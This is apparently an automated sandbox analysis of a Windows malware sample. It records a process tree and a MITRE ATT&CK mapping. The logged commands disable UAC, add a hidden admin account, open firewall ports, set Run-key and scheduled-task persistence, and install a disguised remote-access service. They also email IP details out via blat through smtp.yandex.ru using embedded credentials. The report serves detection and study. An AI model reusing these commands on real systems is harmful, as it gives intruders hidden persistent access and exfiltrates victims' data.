        C:\Users\Admin\AppData\Local\Temp\poc.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5020
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=poc.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
        6⤵
        Drops file in Program Files directory
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Modifies registry class
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:4084
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2c8,0x2cc,0x2d0,0x2c4,0x350,0x7fff3bc6f208,0x7fff3bc6f214,0x7fff3bc6f220
        7⤵
        
        PID:5852
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1832,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=2660 /prefetch:3
        7⤵
        
        PID:2352
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2624,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:2
        7⤵
        
        PID:2376
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2200,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:8
        7⤵
        
        PID:364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3436,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:1
        7⤵
        
        PID:880
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3444,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
        7⤵
        
        PID:1124
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=4872,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5080 /prefetch:1
        7⤵
        
        PID:1984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3424,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:8
        7⤵
        
        PID:868
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4344,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:8
        7⤵
        
        PID:2024
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5428,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:8
        7⤵
        
        PID:3188
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5924,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:8
        7⤵
        
        PID:4132
        
        C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5924,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:8
        7⤵
        
        PID:5592
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3756,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:8
        7⤵
        
        PID:5000
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6316,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6196 /prefetch:8
        7⤵
        
        PID:1864
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --field-trial-handle=6456,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6272 /prefetch:1
        7⤵
        
        PID:4048
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --field-trial-handle=6296,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6444 /prefetch:1
        7⤵
        
        PID:184
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --field-trial-handle=6764,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:1
        7⤵
        
        PID:1344
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6620,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5952 /prefetch:8
        7⤵
        
        PID:392
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6516,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5912 /prefetch:8
        7⤵
        
        PID:4416
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6608,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6536 /prefetch:8
        7⤵
        
        PID:5828
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3720,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:8
        7⤵
        
        PID:3480
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5544,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:8
        7⤵
        
        PID:3492
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4876,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:8
        7⤵
        
        PID:5004
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7008,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=7020 /prefetch:8
        7⤵
        
        PID:1644
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=6968,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=6932 /prefetch:8
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5940
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3980,i,16659642824025676791,2619036410127671396,262144 --variations-seed-version --mojo-platform-channel-handle=3972 /prefetch:8
        7⤵
        
        PID:2720
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=poc.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
        6⤵
        
        PID:1036
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 5 127.0.0.1
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5572
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3352
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpAssistant /t REG_DWORD /d 0 /f
      4⤵
      Hide Artifacts: Hidden Users
      System Location Discovery: System Language Discovery
      PID:6108
  - - C:\Windows\SysWOW64\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "cam_server.exe" /t REG_SZ /d "C:\Windows\cam_server.exe pass=ganja1 port=57011" /f
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:5284
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\Windows/ip.exe"
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4252
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +s +h +r "C:\Windows/cam_server.exe"
      4⤵
      Sets file to hidden
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1668
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RealIP" dir=in program="C:\Windows\realip.exe" security=notrequired action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4128
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="Microsoft Outlook Express" dir=in program="C:\Windows\blat.exe" security=notrequired action=allow
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:4464
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Windows\cam_server.exe" "cam_server" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2140
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add portopening tcp 57011 all
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:184
  - - C:\Windows\SysWOW64\net.exe
      net user HelpAssistant admin /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2792
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpAssistant admin /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:764
  - - C:\Windows\SysWOW64\net.exe
      net localgroup Çñ¼¿*¿ßΓα*Γ«αδ HelpAssistant /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:8
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup Çñ¼¿*¿ßΓα*Γ«αδ HelpAssistant /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3704
  - - C:\Windows\SysWOW64\net.exe
      net user HelpAssistant /active:yes /comment:"ôτÑΓ**∩ º*»¿ß∞ ñ½∩ »αÑñ«ßΓ*ó½Ñ*¿∩ »«¼«Θ¿" /passwordchg:yes
      4⤵
      System Location Discovery: System Language Discovery
      PID:5912
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpAssistant /active:yes /comment:"ôτÑΓ**∩ º*»¿ß∞ ñ½∩ »αÑñ«ßΓ*ó½Ñ*¿∩ »«¼«Θ¿" /passwordchg:yes
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4520
  - - C:\Windows\SysWOW64\net.exe
      net user HelpAssistant admin
      4⤵
      System Location Discovery: System Language Discovery
      PID:2856
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user HelpAssistant admin
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1176
  - - C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\msupdate.msi" /qn /norestart
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://extremalzone.wallst.ru/IP.php
      4⤵
      PID:3540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument http://extremalzone.wallst.ru/IP.php
        5⤵
        
        PID:5620
  - - C:\Users\Admin\AppData\Local\Temp\ip.exe
      C:\Users\Admin\AppData\Local\Temp\ip.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3344
    - - C:\Users\Admin\AppData\Local\Temp\ip.exe
        
        C:\Users\Admin\AppData\Local\Temp\ip.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4436
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\ip.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2420
        
        C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig /all
        7⤵
        System Location Discovery: System Language Discovery
        Gathers network information
        
        PID:380
        
        C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\realip.exe
        
        realip.exe
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1240
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 2 127.0.0.1
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\blat.exe
        
        blat.exe -install -server smtp.yandex.ru -port 25 -f [email protected] -u andriuhapetuhov -pw nehnah
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1340
        
        C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\blat.exe
        
        blat.exe -to [email protected] -subject "Local IP" -attachi "localip.txt" -body "Locals IP"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3352
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3352 -s 560
        8⤵
        Program crash
        
        PID:916
        
        C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\blat.exe
        
        blat.exe -to [email protected] -subject "Real IP" -attachi "realip.txt" -body "Real IP"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5896 -s 560
        8⤵
        Program crash
        
        PID:6012
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 5 127.0.0.1
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3408
  - - C:\Windows\SysWOW64\attrib.exe
      attrib +S +H C:\Windows\system32\rserver30
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5940
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "security" /sc minute /mo 40 /ru "NT AUTHORITY\SYSTEM" /tr "C:\Windows/ip.exe /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1580
  - - C:\Windows\cam_server.exe
      cam_server.exe pass=ganja1 port=57011
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:5180
    - - C:\Windows\cam_server.exe
        
        C:\Windows\cam_server.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2872
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2872 -s 352
        6⤵
        Program crash
        
        PID:2600
  - - C:\Windows\SysWOW64\net.exe
      net stop rserver3
      4⤵
      System Location Discovery: System Language Discovery
      PID:4028
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop rserver3
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1292
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "DisplayName" /d "Microsoft Update Provide" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5572
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\RServer3" /v "Description" /d "Update your Windows operation system and check corruption files" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5788
  - - C:\Windows\SysWOW64\net.exe
      net start rserver3
      4⤵
      System Location Discovery: System Language Discovery
      PID:2324
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start rserver3
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5072

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\cam_server.exe pass=ganja1 port=57011
1⤵
- Suspicious use of WriteProcessMemory
PID:5248
- C:\Windows\cam_server.exe
  C:\Windows\cam_server.exe pass=ganja1 port=57011
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4060
- - C:\Windows\cam_server.exe
    C:\Windows\cam_server.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5712
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5712 -s 340
      4⤵
      Program crash
      PID:5212

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:4192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5712 -ip 5712
1⤵
PID:4316

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 5229860882D706664EA8CBAB233BBCB0
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3496
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 5C453C71FBEA7E71BE6661313F09F17A
  2⤵
  - Loads dropped DLL
  PID:5392
- - C:\Users\Admin\AppData\Local\Temp\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}\rsetup64.exe
    "C:\Users\Admin\AppData\Local\Temp\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}\rsetup64.exe" /stop
    3⤵
    - Executes dropped EXE
    PID:5944
- - C:\Windows\SysWOW64\rserver30\rsetup64.exe
    "C:\Windows\SysWOW64\rserver30\rsetup64.exe" /intsetup
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Checks SCSI registry key(s)
    PID:1880
- - C:\Users\Admin\AppData\Local\Temp\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}\rsetup64.exe
    "C:\Users\Admin\AppData\Local\Temp\{3A8C4C87-D460-488A-A0AA-8993F6D355B1}\rsetup64.exe" /intuninstall
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    PID:1364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
  2⤵
  PID:4744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:5836
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{6e603cf7-cd04-504f-90e3-3fbe7f5ab9be}\mirrorv3.inf" "9" "40bbf019f" "0000000000000138" "WinSta0\Default" "0000000000000150" "208" "c:\windows\syswow64\rserver30"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Modifies data under HKEY_USERS
  PID:4532
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\DISPLAY\0000" "C:\Windows\INF\oem3.inf" "oem3.inf:c36c271b1f3e5101:mirrorv3:3.1.0.0:radmin_mirror_v3," "40bbf019f" "0000000000000138"
  2⤵
  - Drops file in Drivers directory
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  PID:5240

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:3116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2872 -ip 2872
1⤵
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 3352 -ip 3352
1⤵
PID:5152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 5896 -ip 5896
1⤵
PID:5704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

